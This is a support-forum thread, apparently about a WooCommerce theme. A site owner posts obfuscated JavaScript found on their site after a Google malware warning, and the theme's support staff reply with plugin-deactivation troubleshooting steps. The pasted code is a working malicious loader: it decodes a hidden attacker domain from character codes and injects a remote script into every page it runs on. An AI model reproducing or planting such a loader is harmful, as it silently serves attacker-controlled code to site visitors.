Malicious Software Found

Link: https://dns.firstblackphase.com/scripts/start.js?vl=0.9.5

Code:function _0x33c6(_0x2aa3f8,_0x165c21){var _0x647abd=_0x647a();return _0x33c6=function(_0x33c6a8,_0x23f2eb){_0x33c6a8=_0x33c6a8-0x196;var _0x3c6c6b=_0x647abd[_0x33c6a8];return _0x3c6c6b;},_0x33c6(_0x2aa3f8,_0x165c21);}var _0x5408ee=_0x33c6;(function(_0x1e0943,_0x334a25){var _0x1cfba2=_0x33c6,_0xb2c8e=_0x1e0943();while(!![]){try{var _0x1836f5=-parseInt(_0x1cfba2(0x198))/0x1*(parseInt(_0x1cfba2(0x1a4))/0x2)+parseInt(_0x1cfba2(0x19a))/0x3+-parseInt(_0x1cfba2(0x1a2))/0x4*(-parseInt(_0x1cfba2(0x1a5))/0x5)+-parseInt(_0x1cfba2(0x1a0))/0x6+parseInt(_0x1cfba2(0x19d))/0x7+-parseInt(_0x1cfba2(0x197))/0x8+parseInt(_0x1cfba2(0x1a3))/0x9*(parseInt(_0x1cfba2(0x19c))/0xa);if(_0x1836f5===_0x334a25)break;else _0xb2c8e[‘push’](_0xb2c8e[‘shift’]());}catch(_0x380c8c){_0xb2c8e[‘push’](_0xb2c8e[‘shift’]());}}}(_0x647a,0x6ca23));var d=document,s=d[_0x5408ee(0x1a9)](_0x5408ee(0x19b));function _0x647a(){var _0x1fde88=[‘1681868uyrhNO’,’45wWOOVi’,’32LDpZoK’,’10ylzMWR’,’appendChild’,’fromCharCode’,’?vr=1.8.2′,’createElement’,’insertBefore’,’2967344QXQtYj’,’19699blCzfi’,’parentNode’,’1652256THfoar’,’script’,’558200CNaSeA’,’1332191NnyxqU’,’getElementsByTagName’,’head’,’4380204bDocbP’,’currentScript’];_0x647a=function(){return _0x1fde88;};return _0x647a();}s[‘src’]=’//’+String[_0x5408ee(0x1a7)](0x61,0x77,0x61,0x79,0x2e,0x66,0x69,0x72,0x73,0x74,0x62,0x6c,0x61,0x63,0x6b,0x70,0x68,0x61,0x73,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x73,0x2f,0x74,0x61,0x6b,0x65,0x2e,0x6a,0x73)+_0x5408ee(0x1a8);document[_0x5408ee(0x1a1)]?document[_0x5408ee(0x1a1)][_0x5408ee(0x199)][_0x5408ee(0x196)](s,document[_0x5408ee(0x1a1)]):d[_0x5408ee(0x19e)](_0x5408ee(0x19f))[0x0][_0x5408ee(0x1a6)](s);

Google found malicious software on our website but I can’t able to find its URL or origin. Please help us to remove the malicious software from affected links.

Hello,

Thank you very much for choosing our theme and for contacting us.

Please deactivate all the plugins except these ones:

Slider Revolution
WPBakery Page Builder or Elementor
Woodmart Core
Contact Form 7
MailChimp for WordPress
WooCommerce
Safe SVG
Switch to the parent theme and check the issue.

If the problem has gone, activate the plugins one by one, checking the issue to detect which one causes the problem.

In case, the problem remains, even after all the plugins are deactivated, make the full backup of your site and check the issue on the Storefront theme to detect if our theme causes the problem. Storefront is a free theme developed by WooСommerce.

Best Regards

[Author]

Posts